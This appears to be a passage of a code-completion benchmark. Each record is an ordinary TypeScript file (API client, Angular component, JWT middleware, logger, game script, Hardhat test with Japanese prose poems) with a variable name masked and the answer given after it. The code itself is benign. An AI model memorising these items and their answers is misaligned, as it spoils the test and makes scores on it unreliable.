// associated with making a request to the resolved hostname (which would be
// routed back through the public ingress point).
const isClient = typeof window !== ""undefined"";
const API_ORIGIN = isClient
    ? """"
    : process.env.SUPP_AI_API_ORIGIN || ""http://proxy:80"";

export { model };

const clientId = ""supp-ai-ui"";

export async function fetchIndexMeta(): Promise<model.IndexMeta> {
    return axios
        .get<model.IndexMeta>(`${API_ORIGIN}/api/meta`, {
            params: { clientId }
        })
        .then(resp => resp.data);
}

export async function fetchAgent(cui: string): Promise<model.Agent> {
    return axios
        .get<model.Agent>(`${API_ORIGIN}/api/agent/${cui}`, {
            params: { clientId }
        })
        .then(resp => resp.data);
}

export async function searchForAgents(
    q: string,
    p: number = 0
): Promise<model.SearchResponse> {
    return axios
        .get<model.SearchResponse>(`${API_ORIGIN}/api/agent/search`, {
            params: { q, p, clientId }
        })
        .then(resp => resp.data);
}

export async function fetchSuggestions(
    q: string
): Promise<model.SuggestResponse> {
    return axios
        .get<model.SuggestResponse>(`${API_ORIGIN}/api/agent/suggest`, {
            params: { q, clientId }
        })
        .then(resp => resp.data);
}

export async function fetchInteractions(
    cui: string,
    p: number = 0,
    q: string | undefined = undefined
): Promise<model.InteractionsPage> {
    const params: { p: number; q?: string; clientId: string } = { p, clientId };
    if (q !== undefined) {
        params.q = q;
    }
    return axios
        .get<model.InteractionsPage>(
            `${API_ORIGIN}/api/agent/${cui}/interactions`,
            { params }
        )
        .then(resp => resp.data);
}

export async function fetchInteraction(
     [MASK] : string
): Promise<model.InteractionDefinition> {
    return axios
        .get<model.InteractionDefinition>(
            `${API_ORIGIN}/api/interaction/${ [MASK] }`,
            { params: { clientId } }
        )
        .then(resp => resp.data);
}
",interaction_id
817,"import {Component} from '@angular/core';
import {select, Store} from '@ngrx/store';
import {Observable} from 'rxjs';
import {User} from '../../model/user';
import {MatSnackBar} from '@angular/material';
import {SnackbarSubmitComponent} from '../snackbar-submit/snackbar-submit.component';
import {Submit} from '../../action/registration.actions';

@Component({
  selector: 'app-registration',
  templateUrl: './registration.component.html',
  styleUrls: ['./registration.component.css']
})
export class RegistrationComponent {
  user$: Observable<User>;
  selectedIndex: number;
  user: User;

  constructor(private store: Store<{ user: User }>, public snackBar: MatSnackBar) {
    this.user$ = store.pipe(select('user'));
    this.user$.subscribe(user => {
      this.user = user;
    });
    this.selectedIndex = 0;
  }

  next() {
    this.selectedIndex = this.selectedIndex + 1;
  }

  back() {
    this.selectedIndex = this.selectedIndex - 1;
  }

  submit() {
    this.snackBar.openFromComponent(SnackbarSubmitComponent, {
      duration: 500,
    });
    this.selectedIndex = 0;
    this.store.dispatch(new Submit(this.user));
  }

  selectedIndexChange( [MASK] : number) {
    this.selectedIndex =  [MASK] ;
  }
}
",val
818,"import * as jwt from ""jsonwebtoken"";
import {allowedEndpoints} from ""../config/origins"";

require('dotenv').config()

export const verifyJWT = (req, res, next) => {
    const authHeader = req.headers.authorization || req.headers.Authorization;
    if(allowedEndpoints.some(uri => uri.path.match(req.path) && uri.method.match(req.method))) {
        next();
    } else {
        if (!authHeader?.startsWith('Bearer ')){
            return res.status(401).json({ 'message': 'Unauthorized'});
        }
        const token = authHeader.split(' ')[1];
        jwt.verify(
            token,
            process.env.ACCESS_TOKEN_SECRET,
            ( [MASK] , decoded) => {
                if ( [MASK] ) return res.status(403).json({ 'message': 'Unauthorized'})
                req.user = decoded.UserInfo.email;
                next();
            });
    }
}",err
819,"import { Avatar, Cover, User, UserDTO } from '../domain/user';
import { NextFunction, Request, Response } from 'express';

import AppError from '../utils/app-error';
import { FileType } from '../type/file.type';
import { v2 as cloudinary } from 'cloudinary';
import { destroy } from '../utils/upload-cloudinary';
import { sendResponse } from '../utils/send-response';
import { updateUserProcess } from '../utils/update-user';
import userSchema from '../models/user.schema';

const hideAttributes = {
	__v: 0,
	createdAt: 0,
	updatedAt: 0,
	password: 0,
	refreshToken: 0,
};

export const findAll = async (req: Request, res: Response, next: NextFunction) => {
	try {
		const data = await userSchema.find({}, hideAttributes);
		return sendResponse(res, 200, 'Data successfully retrieved', data);
	} catch (e) {
		return next(new AppError('Internal Server Error!', 500));
	}
};

export const findById = async (req: Request, res: Response, next: NextFunction) => {
	try {
		const { id } = req.params;
		const data = await userSchema.findOne({ _id: id }, hideAttributes);
		return sendResponse(res, 200, 'Data successfully retrieved', data);
	} catch (e) {
		return next(new AppError('Internal Server Error!', 500));
	}
};

export const update = async (req: Request, res: Response, next: NextFunction) => {
	const  [MASK]  = ['-createdAt', '-updatedAt', '-__v', '-password', '-refreshToken'];

	try {
		const { id } = req.params;

		const files = req.files as FileType;

		let user = await userSchema.findOne({ _id: id }) as User;
		let updated: Partial<UserDTO>;
		let avatar!: Avatar;
		let cover!: Cover;

		if (user !== null) {
			const { cover, avatar } = user;
			const coverId = cover ? cover.id : null;
			const avatarId = avatar ? avatar.id : null;
			const publicId = [coverId, avatarId].filter(Boolean);
			if (publicId.length > 0) {
				await destroy(publicId);
			}
		}

		if (files && files['avatar']) {
			const avatarFile = files['avatar'][0];

			// Submit avatar file to Cloudinary
			const avatarUploadResult = await cloudinary.uploader.upload(avatarFile.path, { folder: 'indobata/user' });

			// Process the Cloudinary result for avatar
			avatar = {
				id: avatarUploadResult.public_id,
				url: avatarUploadResult.secure_url,
			};

			updated = updateUserProcess(req, avatar);
		}
		if (files && files['cover']) {
			const coverFile = files['cover'][0];

			// Submit cover file to Cloudinary
			const coverUploadResult = await cloudinary.uploader.upload(coverFile.path, { folder: 'indobata/user' });

			// Process the Cloudinary result for cover
			cover = {
				id: coverUploadResult.public_id,
				url: coverUploadResult.secure_url,
			};

			updated = updateUserProcess(req, cover);
		}

		updated = updateUserProcess(req, avatar, cover);

		user = await userSchema.findOneAndUpdate({ _id: id }, updated, { new: true }).select( [MASK] ) as User;

		return sendResponse(res, 200, 'Updated!', user);
	} catch (error) {
		return next(new AppError('Internal Server Error!', 500));
	}
};
",hideProperties
820,"import { OutfitSpec } from ""grimoire-kolmafia"";
import {
  cliExecute,
  equip,
  equippedItem,
  Familiar,
  Item,
  myMaxmp,
  myMp,
  myPrimestat,
  numericModifier,
  print,
  toInt,
  totalTurnsPlayed,
} from ""kolmafia"";
import {
  $effect,
  $familiar,
  $familiars,
  $item,
  $skill,
  $slot,
  DaylightShavings,
  examine,
  get,
  have,
  maxBy,
} from ""libram"";
import { camelFightsLeft, statToMaximizerString } from ""../lib"";
import { args } from ""../args"";
import { restoreMPEfficiently } from ""../tasks/leveling"";

const primeStat = statToMaximizerString(myPrimestat());

export function garbageShirt(): boolean {
  if (
    have($item`January's Garbage Tote`) &&
    get(""garbageShirtCharge"") > 0 &&
    have($skill`Torso Awareness`)
  ) {
    if (get(""garbageShirtCharge"") === 1) {
      if (equippedItem($slot`shirt`) === $item`makeshift garbage shirt`)
        equip($slot`shirt`, $item.none);
    } else {
      if (!have($item`makeshift garbage shirt`)) cliExecute(""fold makeshift garbage shirt"");
      equip($slot`shirt`, $item`makeshift garbage shirt`);
    }
    return true;
  }
  return false;
}

export function parka(): boolean {
  if (!have($item`<NAME>`) || !have($skill`Torso Awareness`)) return false;
  if (get(""parkaMode"") !== ""spikolodon"") cliExecute(""parka spikolodon"");
  return true;
}

export function unbreakableUmbrella(): void {
  if (have($item`unbreakable umbrella`) && get(""umbrellaState"") !== ""broken"")
    cliExecute(""umbrella ml"");
}

export function docBag(): void {
  if (have($item`Lil' Doctor™ bag`) && get(""_chestXRayUsed"") < 3)
    equip($slot`acc3`, $item`Lil' Doctor™ bag`);
}

export function sugarItemsAboutToBreak(): Item[] {
  const sugarItems = [
    { id: 4180, item: $item`sugar shank` },
    { id: 4181, item: $item`sugar chapeau` },
    { id: 4182, item: $item`sugar shorts` },
  ];
  return sugarItems
    .map((entry) => {
      const { id, item } = entry;
      const itemAboutToBreak = parseInt(get(`sugarCounter${id.toString()}`), 10) >= 30;
      return itemAboutToBreak ? [item] : [];
    })
    .reduce((a, b) => a.concat(b));
}

function nanorhino(allowAttackingFamiliars = false): Familiar {
  return allowAttackingFamiliars && get(""_nanorhinoCharge"", 0) === 100
    ? $familiar`Nanorhino`
    : $familiar.none;
}

function shorterOrderCook(allowAttackingFamiliars = true): Familiar {
  return allowAttackingFamiliars && !have($item`short stack of pancakes`)
    ? $familiar`Shorter-Order Cook`
    : $familiar.none;
}

function garbageFire(): Familiar {
  return !have($item`burning newspaper`) ? $familiar`Garbage Fire` : $familiar.none;
}

function sombrero(allowAttackingFamiliars = true): Familiar {
  const sombreros = [
    ...(allowAttackingFamiliars
      ? // eslint-disable-next-line libram/verify-constants
        $familiars`Jill-of-All-Trades, Patriotic Eagle, Galloping Grill`
      : []),
    $familiar`Baby Sandworm`,
    $familiar`Hovering Sombrero`,
  ].filter((fam) => have(fam));
  return sombreros.length > 0 ? sombreros[0] : $familiar.none;
}

function rockinRobin(): Familiar {
  return !have($item`robin's egg`) ? $familiar`Rockin' Robin` : $familiar.none;
}

function optimisticCandle(): Familiar {
  return !have($item`glob of melted wax`) ? $familiar`Optimistic Candle` : $familiar.none;
}

function melodramedary(): Familiar {
  if (have($effect`Spit Upon`)) return $familiar.none;
  return (have($familiar`Melodramedary`) &&
    camelFightsLeft() >= Math.ceil((100 - get(""camelSpit"")) / 3.0) &&
    get(""camelSpit"") < 100) ||
    (have($familiar`Melodramedary`) &&
      camelFightsLeft() >= Math.ceil((100 - get(""camelSpit"")) / 4.0) &&
      get(""camelSpit"") < 100 &&
      have($item`dromedary drinking helmet`))
    ? $familiar`Melodramedary`
    : $familiar.none;
}

export function chooseFamiliar(allowAttackingFamiliars = true): Familiar {
  const ignoredFamiliars = args.explicitlyexcludedfams.split("","").map((i) => toInt(i));
  const  [MASK]  = have($familiar`Cookbookbat`) ? $familiar`Cookbookbat` : $familiar.none;
  const familiars = [
    melodramedary,
    shorterOrderCook,
    garbageFire,
    nanorhino,
    optimisticCandle,
    rockinRobin,
    sombrero,
  ]
    .map((fn) => fn(allowAttackingFamiliars))
    .filter((fam) => have(fam) && !ignoredFamiliars.includes(toInt(fam)));
  return familiars.length > 0 ? familiars[0] :  [MASK] ;
}

const specialEquipFamiliars = $familiars`Disembodied Hand, Left-Hand Man, Mad Hatrack, Fancypants Scarecrow, Ghost of Crimbo Carols, Ghost of Crimbo Cheer, Ghost of Crimbo Commerce`;
export function chooseHeaviestFamiliar(): Familiar {
  return maxBy(
    Familiar.all().filter((fam) => have(fam) && !specialEquipFamiliars.includes(fam)),
    (fam) => fam.experience
  );
}

export function avoidDaylightShavingsHelm(): boolean {
  return (
    DaylightShavings.nextBuff() === $effect`Musician's Musician's Moustache` ||
    DaylightShavings.hasBuff() ||
    !have($item`Daylight Shavings Helmet`)
  );
}

const candySword = $item`candy cane sword cane`;

function useCandyCaneSword(): boolean {
  if (!have(candySword)) return false;
  examine(candySword);
  if (
    numericModifier(candySword, ""Weapon Damage"") < 115 &&
    get(""_surprisinglySweetSlashUsed"", 0) < 11 &&
    get(""_surprisinglySweetStabUsed"", 0) < 11
  ) {
    print(`Candy Cane at ${numericModifier(candySword, ""Weapon Damage"")} weapon damage`);
    return true;
  }
  return false;
}

export function baseOutfit(allowAttackingFamiliars = true): OutfitSpec {
  parka();

  return {
    weapon: useCandyCaneSword()
      ? candySword
      : have($item`June cleaver`)
      ? $item`June cleaver`
      : undefined,
    back: get(""questPAGhost"") === ""unstarted"" && get(""nextParanormalActivity"") <= totalTurnsPlayed()
      ? $item`protonic accelerator pack` : undefined,
    hat: avoidDaylightShavingsHelm() ? undefined : $item`Daylight Shavings Helmet`,
    shirt: garbageShirt() ? $item`makeshift garbage shirt` : have($item`LOV Eardigan`) ? $item`LOV Eardigan` : undefined,
    offhand:
      myMaxmp() > 200 && myMp() < 75 && restoreMPEfficiently() === ""Gulp""
        ? $item`latte lovers member's mug`
        : $item`unbreakable umbrella`,
    acc1: have($item`codpiece`) ? $item`codpiece` : undefined,
    acc2:
      have($item`Cincho de Mayo`) &&
      get(""_cinchUsed"", 0) < 95 &&
      100 - get(""_cinchUsed"", 0) > args.savecinch
        ? $item`Cincho de Mayo`
        : undefined,
    familiar:
      have($familiar`Melodramedary`) && get(""camelSpit"") < 100 && !have($effect`spit upon`)
        ? $familiar`Melodramedary`
        : chooseFamiliar(allowAttackingFamiliars),
    famequip:
      have($item`dromedary drinking helmet`) && chooseFamiliar() === $familiar`Melodramedary`
        ? $item`dromedary drinking helmet`
        : have($item`tiny rake`) &&
          chooseFamiliar() === $familiar`Melodramedary` &&
          get(""_leafMonstersFought"", 0) < 5
        ? $item`tiny rake`
        : undefined,
    modifier: `1 ${primeStat}, 1 ML, 6 ${primeStat} exp, 30 ${primeStat} experience percent, -equip tinsel tights, -equip wad of used tape`, //Update to check prime stat
    avoid: [
      ...sugarItemsAboutToBreak(),
      ...(avoidDaylightShavingsHelm() ? [$item`Daylight Shavings Helmet`] : []),
    ],
  };
}
",defaultFam
821,"/*
 * Licensed to the Apache Software Foundation (ASF) under one or more
 * contributor license agreements.  See the NOTICE file distributed with
 * this work for additional information regarding copyright ownership.
 * The ASF licenses this file to You under the Apache License, Version 2.0
 * (the ""License""); you may not use this file except in compliance with
 * the License.  You may obtain a copy of the License at
 *
 *    https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
import { generate } from '@ant-design/colors';

export const primaryColor = '#3c7eff';

export const darkMode = 'light';

type Fn = (...arg: any) => any;

type GenerateTheme = 'default' | 'dark';

export interface GenerateColorsParams {
  mixLighten: Fn;
  mixDarken: Fn;
  tinycolor: any;
  color?: string;
}

export function generateAntColors(color: string, theme: GenerateTheme = 'default') {
  return generate(color, {
    theme,
  });
}

export function getThemeColors(color?: string) {
  const tc = color || primaryColor;
  const lightColors = generateAntColors(tc);
  const primary = lightColors[5];
  const modeColors = generateAntColors(primary, 'dark');

  return [...lightColors, ...modeColors];
}

export function generateColors({
  color = primaryColor,
  mixLighten,
  mixDarken,
  tinycolor,
}: GenerateColorsParams) {
  const arr = new Array(19).fill(0);
  const lightens = arr.map((_t, i) => {
    return mixLighten(color, i / 5);
  });

  const darkens = arr.map((_t, i) => {
    return mixDarken(color, i / 5);
  });

  const  [MASK]  = arr.map((_t, i) => {
    return tinycolor(color)
      .setAlpha(i / 20)
      .toRgbString();
  });

  const shortAlphaColors =  [MASK] .map((item) => item.replace(/\s/g, '').replace(/0\./g, '.'));

  const tinycolorLightens = arr
    .map((_t, i) => {
      return tinycolor(color)
        .lighten(i * 5)
        .toHexString();
    })
    .filter((item) => item !== '#ffffff');

  const tinycolorDarkens = arr
    .map((_t, i) => {
      return tinycolor(color)
        .darken(i * 5)
        .toHexString();
    })
    .filter((item) => item !== '#000000');
  return [
    ...lightens,
    ...darkens,
    ... [MASK] ,
    ...shortAlphaColors,
    ...tinycolorDarkens,
    ...tinycolorLightens,
  ].filter((item) => !item.includes('-'));
}
",alphaColors
822,"import express = require('express');
import querystring = require('querystring');

class Request {
  private req: express.Request;

  constructor(req: express.Request) {
    this.req = req;
  }

  get bodyAsText(): string {
    if (this.contentType === 'application/x-www-form-urlencoded') {
      return querystring.stringify(this.req.body);
    } else {
      return JSON.stringify(this.req.body);
    }
  }

  get bodyAsFormUrlEncoded(): any {
    return this.req.body;
  }

  get bodyAsJsonString(): string {
    return JSON.stringify(this.req.body);
  }

  get bodyAsJson(): any {
    return this.req.body;
  }

  get method(): string {
    return this.req.method;
  }

  get uri(): string {
    let  [MASK]  = this.req.path.substring(1).split('/');
     [MASK] .splice(1, 1);
    return '/' +  [MASK] .join('/');
  }

  get contentType(): string {
    return this.req.get('content-type');
  }

  get secure(): boolean {
    return this.req.secure;
  }

  get headers(): Dict<string> {
    return this.req.headers;
  }
}

export = Request;
",tokens
823,"import winston from 'winston';
import { WinstonUtil } from '../utilz/winstonUtil'; // Adjust based on your project structure
import { EnvLoader } from '../utilz/envLoader';

// Define custom log levels
export const customLevels = {
  levels: {
    error: 0,
    warn: 1,
    info: 2,
    debug: 3,
  },
};

// Define custom log colors separately
export const customColors = {
  error: 'red',
  warn: 'yellow',
  info: 'green',
  debug: 'blue',
};

// Log formatting logic
const formatLogInfo = (info: any) => {
  const { level, message, meta } = info;
  const timestamp = new Date().toISOString();
  const  [MASK]  = meta ? `: ${JSON.stringify(meta, null, 2)}` : '';

  let className = info.className || '';
  className = className ? `[${className}] ` : '';

  return `${timestamp} ${level.toUpperCase()}: ${className}${message}${ [MASK] }`;
};

// Formatter for winston
const formatter = winston.format.combine(
  winston.format.errors({ stack: true }),
  winston.format.splat(),
  winston.format.colorize(),
  winston.format.printf((info) => formatLogInfo(info)),
);

// Console transport
export const consoleTransport = new winston.transports.Console({
  format: formatter,
});

// JSON log file transport
export const jsonLogTransport = new winston.transports.File({
  level: 'info',
  filename: `${EnvLoader.getPropertyOrFail('LOG_DIR')}/app.log`,
  handleExceptions: true,
  maxsize: 5242880, // 5MB
  maxFiles: 5,
  format: winston.format.combine(winston.format.json()),
});

// Setup logger transports
const transports: winston.transport[] = [consoleTransport, jsonLogTransport];

if (EnvLoader.getPropertyAsBool('VALIDATOR_DEBUG_LOG')) {
  transports.push(
    WinstonUtil.debugFileTransport,
    WinstonUtil.errorFileTransport,
  );
}

// Create logger instance
const LoggerInstance = winston.createLogger({
  level: 'debug', // Use string 'debug' instead of a number
  levels: customLevels.levels, // This defines the custom numeric levels
  format: winston.format.combine(
    winston.format.timestamp({ format: 'YYYY-MM-DD HH:mm:ss' }),
    winston.format.json(),
  ),
  transports,
});

// Apply colors for custom levels
winston.addColors(customColors);

export default LoggerInstance;
",metaMsg
824,"import hre, { ethers } from ""hardhat"";
import * as chai from ""chai"";
import { solidity } from ""ethereum-waffle"";
import { SignerWithAddress } from ""@nomiclabs/hardhat-ethers/signers"";
import { MerkleTree } from ""merkletreejs"";
import keccak256 from ""keccak256"";

chai.use(solidity);
const { expect } = chai;

const poemTitles = [
  ""ああ固い氷を破つて"",
  ""芝生の上で"",
  ""舌のない眞理"",
  ""慈悲"",
  ""秋晴"",
  ""陸橋を渡る"",
  ""涙ぐましい夕暮"",
  ""地球を跳躍して"",
  ""夜汽車の窓で"",
  ""春のくる時"",
  ""極光地方から"",
  ""斷橋"",
  ""運命への忍辱"",
  ""寂寥の川邊"",
  ""船室から"",
  ""記憶を捨てる"",
  ""情緒よ！　君は歸らざるか"",
  ""港の雜貨店で"",
  ""鏡"",
  ""狐"",
  ""吹雪の中で"",
  ""銃器店の前で"",
  ""虚數の虎"",
  ""自然の中で"",
  ""觸手ある空間"",
  ""大佛"",
  ""家"",
  ""黒い洋傘"",
  ""恐ろしき人形芝居"",
  ""齒をもてる意志"",
  ""建築の Nostalgia"",
  ""父"",
  ""敵"",
  ""物質の感情"",
  ""物體"",
  ""龍"",
  ""橋"",
  ""山上の祈"",
  ""戰場での幻想"",
];

const poemBodies = [
  ""ああ固い氷を破つて突進する、一つの寂しい帆船よ。あの高い空にひるがへる、浪浪の固體した印象から、その隔離した地方の物侘しい冬の光線から、あはれに煤ぼけて見える小さな黒い獵鯨船よ。孤獨な環境の海に漂泊する船の羅針が、一つの鋭どい<ruby><rb>意志の尖角</rb><rp>（</rp><rt>・・・・・</rt><rp>）</rp></ruby>が、ああ如何に固い冬の氷を突き破つて驀進することよ。"",
  ""若草の芽が萌えるやうに、この日當りのよい芝生の上では、思想が後から後からと成長してくる。けれどもそれらの思想は、私にまで何の交渉があらうぞ。私はただ青空を眺めて居たい。あの蒼天の夢の中に溶けてしまふやうな、さういふ思想の幻想だけを育くみたいのだ。私自身の情緒の影で、なつかしい緑陰の夢をつくるやうな、それらの「情調ある思想」だけを語りたいのだ。空飛ぶ小鳥よ。"",
  ""とある幻燈の中で、青白い雪の降りつもつてゐる、しづかなしづかな景色の中で、私は一つの眞理をつかんだ。物言ふことのできない、永遠に永遠にうら悲しげな、私は「舌のない眞理」を感じた。景色の、幻燈の、雪のつもる影を過ぎ去つて行く、さびしい青猫の<ruby><rb>像</rb><rp>（</rp><rt>かたち</rt><rp>）</rp></ruby>をかんじた。"",
  ""風琴の<ruby><rb>鎭魂樂</rb><rp>（</rp><rt>れくれえむ</rt><rp>）</rp></ruby>をきくやうに、冥想の厚い壁の影で、靜かに湧きあがつてくる黒い感情。情慾の強い惱みを抑へ、果敢ない運命への叛逆や、何といふこともない生活の暗愁や、いらいらした心の焦燥やを忘れさせ、安らかな安らかな寢臺の上で、靈魂の深みある眠りをさそふやうな、一つの力ある靜かな感情。それは生活の疲れた薄暮に、響板の鈍いうなりをたてる、大きな幅のある靜かな感情。――佛陀の教へた慈悲の哲學！"",
  ""牧場の牛が草を食つてゐるのをみて、閑散や怠惰の趣味を解しないほど、それほど<ruby><rb>近代的になつてしまつた</rb><rp>（</rp><rt>・・・・・・・・・・・</rt><rp>）</rp></ruby>人人にまで、私はいかなる會話をもさけるであらう。私の肌にしみ込んでくる、この秋日和の物倦い眠たさに就いて、この古風なる私の思想の情調に就いて、この上もはや語らないであらう。"",
  ""憂鬱に沈みながら、ひとり寂しく陸橋を渡つて行く。かつて何物にさへ妥協せざる、何物にさへ安易せざる、この一つの感情をどこへ行かうか。落日は地平に低く、環境は怒りに燃えてる。一切を憎惡し、粉碎し、叛逆し、嘲笑し、斬奸し、敵愾する、この一個の黒い影をマントにつつんで、ひとり寂しく陸橋を渡つて行く。かの高い架空の橋を越えて、はるかの幻燈の市街にまで。"",
  ""これらの夕暮は涙ぐましく、私の書齋に訪れてくる。思想は情調の影にぬれて、感じのよい温雅の色合を帶びて見える。ああいかに今の私にまで、一つの惠まれた徳はないか。何物の卑劣にすら、何物の虚僞にすら、あへて高貴の寛容を示し得るやうな、一つの穩やかにして閑雅なる徳はないか。――私をして獨り寂しく、今日の夕暮の空に默思せしめよ。"",
  ""たしかに私は、ある一つの特異な才能を持つてゐる。けれどもそれが丁度<ruby><rb>あてはまる</rb><rp>（</rp><rt>・・・・・</rt><rp>）</rp></ruby>やうな、どんな特別な「仕事」も今日の地球の上に有りはしない。むしろ私をして、地球を遠く圈外に跳躍せしめよ。"",
  ""夜汽車の中で、電燈は暗く、沈鬱した空氣の中で、人人は深い眠りに落ちてゐる。一人起きて窓をひらけば、夜風はつめたく肌にふれ、闇夜の暗黒な野原を飛ぶ、しきりに飛ぶ火蟲をみる。ああこの眞つ暗な恐ろしい景色を貫通する！　深夜の轟轟といふ響の中で、いづこへ、いづこへ、私の夜汽車は行かうとするのか。"",
  ""扇もつ若い娘ら、春の屏風の前に居て、君のしなやかな肩をすべらせ、艶めかしい曲線は足にからむ。扇もつ若い娘ら、君の笑顏に情をふくめよ、春は來らんとす。"",
  ""<ruby><rb>海豹</rb><rp>（</rp><rt>あざらし</rt><rp>）</rp></ruby>のやうに、極光の見える氷の上で、ぼんやりと「自分を忘れて」坐つてゐたい。そこに時劫がすぎ去つて行く。晝夜のない極光地方の、いつも暮れ方のやうな光線が、鈍く悲しげに幽滅するところ。ああその遠い北極圈の氷の上で、ぼんやりと海豹のやうに坐つて居たい。永遠に、永遠に、自分を忘れて、思惟のほの暗い海に浮ぶ、一つの侘しい幻象を眺めて居たいのです。"",
  ""夜道を走る汽車まで、一つの赤い燈火を示せよ。今そこに危險がある。斷橋！　斷橋！　ああ悲鳴は風をつんざく。だれがそれを知るか。精神は闇の曠野をひた走る。急行し、急行し、急行し、彼の悲劇の終驛へと。"",
  ""とはいへ環境の闇を突破すべき、どんな力がそこにあるか。齒がみてこらへよ。こらへよ。こらへよ。"",
  ""古驛の、柳のある川の岸で、かれは何を釣らうとするのか。やがて生活の薄暮がくるまで、そんなにも長い間、針のない釣竿で……。「否」とその支那人が答へた。「魚の美しく走るを眺めよ、水の靜かに行くを眺めよ。いかに君はこの靜謐を好まないか。この風景の聰明な情趣を。むしろ私は、終日<ruby><rb>釣り得ない</rb><rp>（</rp><rt>・・・・・</rt><rp>）</rp></ruby>ことを希望してゐる。されば日當り好い寂寥の岸邊に坐して、私のどんな環境をも亂すなかれ。」"",
  ""嵐、嵐、浪、浪、大浪、大浪、大浪。傾むく地平線、上昇する地平線、落ちくる地平線。がちやがちや、がちやがちや。上甲板へ、上甲板へ。<ruby><rb>鎖</rb><rp>（</rp><rt>チエン</rt><rp>）</rp></ruby>を卷け、<ruby><rb>鎖</rb><rp>（</rp><rt>チエン</rt><rp>）</rp></ruby>を卷け。突進する、突進する水夫ら。船室の窓、窓、窓、窓。傾むく地平線、上昇する地平線。<ruby><rb>鎖</rb><rp>（</rp><rt>チエン</rt><rp>）</rp></ruby>、<ruby><rb>鎖</rb><rp>（</rp><rt>チエン</rt><rp>）</rp></ruby>、<ruby><rb>鎖</rb><rp>（</rp><rt>チエン</rt><rp>）</rp></ruby>。風、風、風。水、水、水。<ruby><rb>船窓</rb><rp>（</rp><rt>ハツチ</rt><rp>）</rp></ruby>を閉めろ。<ruby><rb>船窓</rb><rp>（</rp><rt>ハツチ</rt><rp>）</rp></ruby>を閉めろ。右舷へ、左舷へ。浪、浪、浪。ほひゆーる。ほひゆーる。ほひゆーる。"",
  ""森からかへるとき、私は帽子をぬぎすてた。ああ、記憶。恐ろしく破れちぎつた記憶。みじめな、泥水の中に腐つた記憶。さびしい雨景の道にふるへる私の帽子。背後に捨てて行く。"",
  ""書生は町に行き、工場の下を通り、機關車の鳴る響を聽いた。火夫の走り、車輪の廻り、群鴉の喧號する巷の中で、はや一つの胡弓は荷造され、貨車に積まれ、さうして港の倉庫の方へ、税關の門をくぐつて行つた。<br/>十月下旬。書生は飯を食はうとして、枯れた芝草の倉庫の影に、音樂の忍び居り、蟋蟀のやうに鳴くのを聽いた。<br/>――情緒よ、君は歸らざるか。"",
  ""この鋏の槓力でも、女の錆びついた<ruby><rb>銅牌</rb><rp>（</rp><rt>メダル</rt><rp>）</rp></ruby>が切れないのか。水夫よ！　汝の<ruby><rb>隱衣</rb><rp>（</rp><rt>かくし</rt><rp>）</rp></ruby>の錢をかぞへて、無用の情熱を捨ててしまへ！"",
  ""鏡のうしろへ廻つてみても、「私」はそこに居ないのですよ。お孃さん！"",
  ""見よ！　彼は風のやうに來る。その額は憂鬱に青ざめてゐる。耳はするどく切つ立ち、まなじりは怒に裂けてゐる。<br/>君よ！　<ruby><rb>狡智</rb><rp>（</rp><rt>・・</rt><rp>）</rp></ruby>のかくの如き美しき表情をどこに見たか。"",
  ""單に孤獨であるばかりでない。敵を以て充たされてゐる！"",
  ""明るい硝子戸の店の中で、一つの磨かれた銃器さへも、火藥を裝填してないのである。――何たる虚妄ぞ。<ruby><rb>懶爾</rb><rp>（</rp><rt>らんじ</rt><rp>）</rp></ruby>として笑へ！"",
  ""博徒等集まり、投げつけられたる生涯の<ruby><rb>機因</rb><rp>（</rp><rt>チヤンス</rt><rp>）</rp></ruby>の上で、虚數の情熱を賭け合つてゐる。みな兇暴のつら<ruby><rb>魂</rb><rp>（</rp><rt>だましひ</rt><rp>）</rp></ruby>。<ruby><rb>仁義</rb><rp>（</rp><rt>じんぎ</rt><rp>）</rp></ruby>を構へ、虎のやうな空洞に居る。"",
  ""荒寥とした山の中腹で、壁のやうに沈默してゐる、一の巨大なる耳を見た。"",
  ""宿命的なる東洋の建築は、その屋根の下で忍從しながら、<ruby><rb>甍</rb><rp>（</rp><rt>いらか</rt><rp>）</rp></ruby>に於て怒り立つてゐる。"",
  ""その内部に構造の支柱を持ち、暗い梯子と經文を藏する佛陀よ！　海よりも遠く、人畜の住む世界を越えて、指のやうに尨大なれ！"",
  ""人が家の中に住んでるのは、地上の悲しい風景である。"",
  ""憂鬱の長い柄から、雨がしとしとと<ruby><rb>滴</rb><rp>（</rp><rt>しづく</rt><rp>）</rp></ruby>をしてゐる。眞黒の大きな洋傘！"",
  ""理髮店の青い窓から、葱のやうに突き出す棍棒。そいつの馬鹿らしい機械仕掛で、夢中になぐられ、なぐられて居る。"",
  ""意志！　そは夕暮の海よりして、鱶の如くに泳ぎ來り、齒を以て肉に噛みつけり。"",
  ""建築――特に群團した建築――の樣式は、空の穹窿に對して構想されねばならぬ。即ち切斷されたる球の弧形に對して、槍状の垂直線や、圓錐形やの交錯せる構想を用意すべきである。<br/>この蒼空の下に於ける、遠方の都會の印象として、おほむねの建築は一つの重要な意匠を忘れてゐる。"",
  ""父は永遠に悲壯である。"",
  ""敵は常に哄笑してゐる。さうでもなければ、何者の表象が怒らせるのか？"",
  ""機械人間にもし感情があるとすれば？　無限の哀傷のほかの何者でもない。"",
  ""私がもし物體であらうとも、神は再度朗らかに笑ひはしない。ああ、琴の音が聽えて來る。――小さな一つの<ruby><rb>倫理</rb><rp>（</rp><rt>モラル</rt><rp>）</rp></ruby>が、喪失してしまつたのだ。"",
  ""龍は帝王の欲望を象徴してゐる。權力の祥雲に乘つて居ながら、常に憤ほろしい恚怒に燃え、不斷の爭鬪のために牙をむいてる。"",
  ""すべての橋は、一つの建築意匠しか持つてゐない。時間を空間の上に架け、或る夢幻的な一つの<ruby><rb>觀念</rb><rp>（</rp><rt>イデア</rt><rp>）</rp></ruby>を、現實的に辨證することの熱意である。<br/>橋とは――夢を架空した數學である。"",
  ""多くの先天的の詩人や藝術家等は、彼等の宿命づけられた仕事に對して、あの悲痛な耶蘇の祈をよく知つてる。「神よ！　もし御心に適ふならば、この苦き酒盃を離し給へ。されど爾にして欲するならば、御心のままに爲し給へ。」"",
  ""機關銃よりも悲しげに、繋留氣球よりも憂鬱に、炸裂彈よりも殘忍に、毒瓦斯よりも沈痛に、曳火彈よりも蒼白く、大砲よりもロマンチツクに、煙幕よりも寂しげに、銃火の白く閃めくやうな詩が書きたい！"",
